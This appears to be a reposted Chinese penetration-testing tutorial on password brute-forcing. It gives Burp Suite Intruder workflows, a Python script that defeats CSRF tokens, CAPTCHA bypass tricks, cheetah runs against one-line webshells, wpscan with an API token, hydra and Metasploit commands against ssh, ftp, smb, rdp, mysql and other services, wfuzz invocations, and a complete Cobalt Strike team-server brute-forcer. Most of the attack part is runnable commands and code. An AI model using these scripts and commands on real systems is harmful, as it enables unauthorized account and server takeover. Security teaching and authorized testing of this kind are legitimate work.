渗透测试之穷举篇

admin 2023年3月12日20:43:14评论31 views字数 12003阅读40分0秒阅读模式

1. 概述

穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口
令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。
如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服
务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危
害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如
根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。

2. 常见的服务

服务 端口
web 80
mysql 3306
Microsoft SQL Server 1433
https 443
ftp 21
ssh 22
dns 53
tomcat 8080
redis 6379
rsync 873
PostgreSQL 5432
cobaltstrike teamserver 50050
smtp 25
pop3 110
远程终端 rdp 3389
smb 445
rpc 135
imap 143
NetBIOS 139
SMTPS 465
POP3S 995
mogodb 27018
memcached 11211
telnet 23
oracle 1521

2.1. burpsuite 穷举后台密码

brupsuite 是一个安全测试套件,提供了众多的测试功能。在火狐安装插件FoxyProxy 填写 127.0.0.1 8080 保存为 burp 开启代理。渗透测试之穷举篇
截取包之后发送到 intruder 在密码设置变量
渗透测试之穷举篇
选择 payloads 选择要穷举的字典
渗透测试之穷举篇
设置攻击后 根据返回的状态码 status 或者 length 网页长度对其进行判断。这里得到正确得密码是 123456
渗透测试之穷举篇
根据状态码 一般测试正确的是现实 302(跳转) 状态码 另外就是响应网页的长

2.2. burpsuite 对 webshell 穷举破解密码

灰帽子对网站攻破后,一般会留后门方便对其网站进行非法管理。后门的程序语
音包括 asp php .net 这些脚本文件放在网站目录, 一般都采用单密码进行登录。
通过扫描获取 webshell 的后门的网址。得到网址后可以对其进行密码穷举。

1、burpsuite 截取数据包

渗透测试之穷举篇

2、 发送intruder模块

渗透测试之穷举篇

3、选择字典

渗透测试之穷举篇
由此可得到最后的密码

2.3. 有 token 防御的网站后台穷举破解密码

有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接穷举和防止 csrf 攻击。
渗透测试之穷举篇

2.3.1. burpsuite 设置宏获取 token 对网站后台密码破解

打开 burpsuite 刷新页面 接着 forward 放行这个数据包
渗透测试之穷举篇
来到 Project options --> Session-- >add 添加宏
渗透测试之穷举篇
渗透测试之穷举篇
选择run a macro
渗透测试之穷举篇
渗透测试之穷举篇
点击之后选择网页历史选择提交之后有 token 的页面。
添加宏
渗透测试之穷举篇
渗透测试之穷举篇
设置 configure ite
渗透测试之穷举篇
add 添加规则
渗透测试之穷举篇

选择 value 的值 Parameter name 填写 user_token
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
这样宏就设置成功了。
接着穷举测试 抓包 设置变量 添加密码字典

渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
开始攻击 可以看到每次的 token 值都不一样
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇
密码是password

2.3.2. 编写脚本获取 token 对网站后台密码破

就上面的登录页面来说
渗透测试之穷举篇
每次访问页面这个 user_token 都会变化导致不能重复提交。验证原理每次页面生成 user_token 存在 seesion 里面每次登录用 session 里取出来然后验证如果验证成功 就进行密码匹配。如果验证不成功就输出 csrf 错误。
脚本源码

#coding:utf-8
import requests
import re
url = "http://xxx/login.php"
def login(password):
session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_t
oken}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
passlist =p.readlines()
p.close()
for line in passlist:
line = line.strip("n")
print(line)
if 'File Upload' in login(line):
print( "[* 密码 is %s *]" % line )
break

密码破解成功
渗透测试之穷举篇

2.4. 针对有验证码后台的穷举方法

网站后台或者有登录的地方都可能存在验证码验证,验证码的作用 不少网站为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险。

2.4.1. cookie 不存在不验证绕

有些网站如果网站不存在 cookie 就不会验证 验证码
渗透测试之穷举篇
删除 PHPSESSION 信息 验证码就不进行验证了
渗透测试之穷举篇
接着对密码进行穷举
渗透测试之穷举篇
破解密码成功,登录后台。

2.4.2. 后台登录验证码没销毁进行穷举

在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。
不然验证码可复用
正确的验证码
渗透测试之穷举篇
错误的验证码
渗透测试之穷举篇
导入字典再进行提交
渗透测试之穷举篇

2.4.3. 网站后台验证码识别穷举密码

验证码干扰像素太少很容易就会被一些工具识别出来。如图片提取文字工具
渗透测试之穷举篇
登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码。
渗透测试之穷举篇
将 burpsuite 的包放进验证码识别工具 设置字典和验证码参数
渗透测试之穷举篇
接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择 再次爆破 验证准确率会提高。
渗透测试之穷举篇
渗透测试之穷举篇
最后查看响应长度 获取正确的密码

2.5. phpmyadmin 密码穷举

phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户的账号和密码
渗透测试之穷举篇

2.6. 一句话木马后门破解

一句话后门可以使用 burpsuite 通用穷举方法穷举密码。
渗透测试之穷举篇
抓包 将 cmd 设置成变量 添加字典即可
渗透测试之穷举篇
渗透测试之穷举篇
关键字
asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx
qweasd123=Response.Write("test");
密码是 qweasd123

2.7. cheetah 对一句后门密码穷举

cheetah 是针对一句话后门的穷举工具
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list
支持 asp php .net jsp 后门
-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置
例子
python cheetah.py -u http://test/cmd.php -r post -n
渗透测试之穷举篇

2.8. wordpress 博客系统用户密码穷举

wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套系统的弱口令穷举的方法。
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 token
渗透测试之穷举篇
自动找账号信息 然后登录穷举
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt --api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w
渗透测试之穷举篇
手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users
获取信息可以再进行指定用户爆破
渗透测试之穷举篇
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top10
渗透测试之穷举篇

3. 常见的端口服务穷举

3.1. hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp

展开收缩
http
展开收缩
-{head|get|post}
http
展开收缩
-{get|post}-form http-proxy http-proxy-urlenum icq imap
展开收缩
irc ldap2
展开收缩

ldap3[-{cram|digest}md5]
展开收缩
memcached mongodb mssql mysql nntp oracle-listener
oracle-sid pcanywhere pcnfs pop3
展开收缩
postgres radmin2 rdp redis rexec rlogin rpcap
rsh rtsp s7-300 sip smb smtp
展开收缩
smtp-enum snmp socks5 ssh sshkey svn teamspeak
telnet
展开收缩
vmauthd vnc xmpp
使用例子
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLaIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
常用参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s
小写,可通过这个参数指定非默认端口
-l
指定破解的用户,对特定用户破解
-L
指定用户名字典
-p
小写,指定密码破解,少用,一般是采用密码字典
-P
大写,指定密码字典
-e
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M
指定目标列表文件一行一条
-o
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t
同时运行的线程数,默认为 16
-w
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http
展开收缩
-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn
icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp
等等
OPT
可选项

3.2. 使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令
使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f
渗透测试之穷举篇

3.3. 使用 hydra 穷举 ftp 服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
渗透测试之穷举篇

3.4. 使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

3.5. 使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -v -f
渗透测试之穷举篇
渗透测试之穷举篇

3.6. 使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
渗透测试之穷举篇

3.7. 使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

3.8. 使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

3.9. 使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

3.10. 使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLaIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLaIN

3.11. 使用 hydra 穷举 telnet 服务

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 32 ns -f -V
渗透测试之穷举篇

4. xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。
终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务
渗透测试之穷举篇
渗透测试之穷举篇
渗透测试之穷举篇

5. metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模块的用法
首先启动在终端下启动 msfconsole
use 使用 ssh_login 模块
use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
渗透测试之穷举篇
RHOSTS 攻击的目标
PASS_FILE 密码字典
STOP_ON_SUCCESS 成功破解一个终止
THREADS 线程数
set 设置参数
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt
PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13
RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
设置好后用 run 或者 exploit
渗透测试之穷举篇

6. 御剑 RDP 爆破工具的使用

渗透测试之穷举篇

7. wfuzz 多线程穷举密码

Usage: wfuzz [options] -z payload,params
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
渗透测试之穷举篇

8. 邮箱密码的穷举

默认的收发邮件端口信息
发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465

8.1. 企业独立搭建的邮服 用 MailCracker 进行破解

渗透测试之穷举篇

8.2. 针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举.
渗透测试之穷举篇

9. CobaltStrike TeamServer 口令暴力破解

使用 csbuster.py 对 50050 端口进行密码穷举
#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t
o-properly-require-a-minimal-python-versi
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
help="Concurrency level")
args = parser.parse_args()
#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw.python-socket
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, args.port)
payload = bytearray(b"x00x00xbexef") + len(password).to_bytes(1,
"big", signed=True) + bytes(
bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"x00x00xcaxfe"):
return password
else:
return False
else:
print("Ignored blank password")
passwords = []
if args.wordlist:
print("Wordlist: {}".format(args.wordlist))
passwords = open(args.wordlist).read().split("n")
else:
print("Wordlist: {}".format("stdin"))
for line in sys.stdin:
passwords.append(line.rstrip())
if len(passwords) > 0:
print("Word Count: {}".format(len(passwords)))
print("Threads: {}".format(args.threads))
start = time.time()
# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as
executor:
future_to_check = {executor.submit(passwordcheck, password): password
for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print("Found Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
print("Attempts: {}".format(attempts))
print("Failures: {}".format(failures))
finish = time.time()
print("Seconds: {:.1f}".format(finish - start))
print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
print("Password(s) required")

python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20
渗透测试之穷举篇

10. 对 apache-tomcat 服务进行穷举

此处依旧使用万能的 metasploit
use scanner/http/tomcat_mgr_login
set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击
渗透测试之穷举篇

11. 超级弱口令穷举使用

渗透测试之穷举篇

本文作者:Segador, 转载请注明来自FreeBuf.COM


原文始发于微信公众号(Hacking黑白红):渗透测试之穷举篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:43:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试之穷举篇https://cn-sec.com/archives/1599607.html

发表评论

匿名网友 填写信息